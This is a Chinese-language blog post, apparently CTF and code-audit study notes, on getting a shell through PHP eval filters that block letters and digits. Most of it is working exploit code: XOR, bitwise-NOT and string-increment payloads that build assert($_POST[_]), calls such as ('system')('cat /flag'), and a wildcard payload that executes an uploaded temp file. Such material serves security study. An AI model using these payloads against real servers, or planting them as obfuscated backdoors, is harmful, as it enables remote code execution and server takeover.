代码如下:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
方法一:
利用异或的操作来获取自己需要的字母和数字:
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这里需要注意的是,assert在php5的时候尚还是一个函数,但是在php7里它不再作为一个函数来使用了。而是作为一种语言结构类似于(eval)。
所以以上的payload是在php5下才可以执行的。
方法二
这里的方法二是利用位运算里的取反。因为在utf-8编码中,汉字是由三个字节组成的因此我们就思考可不可以把三个字节中的某个字节取出来当做一个字符:
echo bin2hex('和'[1]); //92
echo bin2hex('嘿'[2]); //bf
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这里的第一行代码:(‘>’>'<‘),实际上就是<和>的比较,若是正确就是true,true+true==2。这里用了php的弱类型,可以看出来,作为数组的键的时候,可以可以使用弱类型的。
echo bin2hex('蛤'['2'>'1']); //9b
奇奇怪怪的,这样也是可行的但是会输出一个错误。
方法三
也就是说对于纯字母,递增之后,我们可以获取到其他的字母。我们可以用以下形式获取其他字母:
$a='a';
echo ++$a; //b
echo ++$a; //c
那么我们从哪里获取到A和a呢?
echo ''.[];
会报一个错误并且输出Array,关闭报错提示之后,我们就获取到A和a了。
payload:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
将近两个周没写博客了,主要是因为作业和考试比较多。这个周又新开了两门实验,而且好难。估计以后的更新速度也会放缓了。哦对了,大家520快乐。
——19点58分 2020年5月20日 公教区
以上的是p神基础篇里的内容。
下面是p神提高篇的内容。
代码如下:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
这里我们需要了解一下php7中关于间接使用变量,属性和方法的变化。
我们可以看到,php5中是自右向左的解析代码而且还会混杂几个特殊的案例,而php7是自左向右来解析代码。
也就是说,我们可以这样来执行函数:
<?php
('phpinfo')();
//(~%8F%97%8F%96%91%99%90)();
('sysytem')('whoami');
('system')('cat /flag');
?>
关于php5的思考:
大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。
PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?
此处应该提到两个shell知识点:
– . file
,.
可以用来执行命令。.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。
– 用. file
来执行一个文件时,文件是不需要有x权限的。
– linux支持用通配符来代表文件名
那么首先我们要先找到一个可控文件,利用post上传一个文件上去,上传的临时文件的文件名和所在目录为:/tmp/phpxxxxx
。
? 代表一个任意字符
\* 代表0个及以上任意字符
[^-] 其实在之前的正则匹配里也说过,代表这个位置的字符不是-,^代表的是非的意思。
[a-z] 表示的是a-z之间的字母,a-z是一个范围。
当传入的payload是:
?><?=`. /???/????????[@-[]`;?>
其中?>
用来第一个<?php
,自后的shell开始为<?=
,结束为:?>
。可以成功执行命令。
对于post上传一个临时文件应该在php代码审计的session部分提到一下,<?=
,这个标签其实和<?php echo
等价,应该在”cgi程序在文件上传漏洞getshell中的利用——[de1ctf 2020]check in”这篇文章里提到过原理。
ok,这篇文章就到这里。
本文地址: 无字母数字getshell小结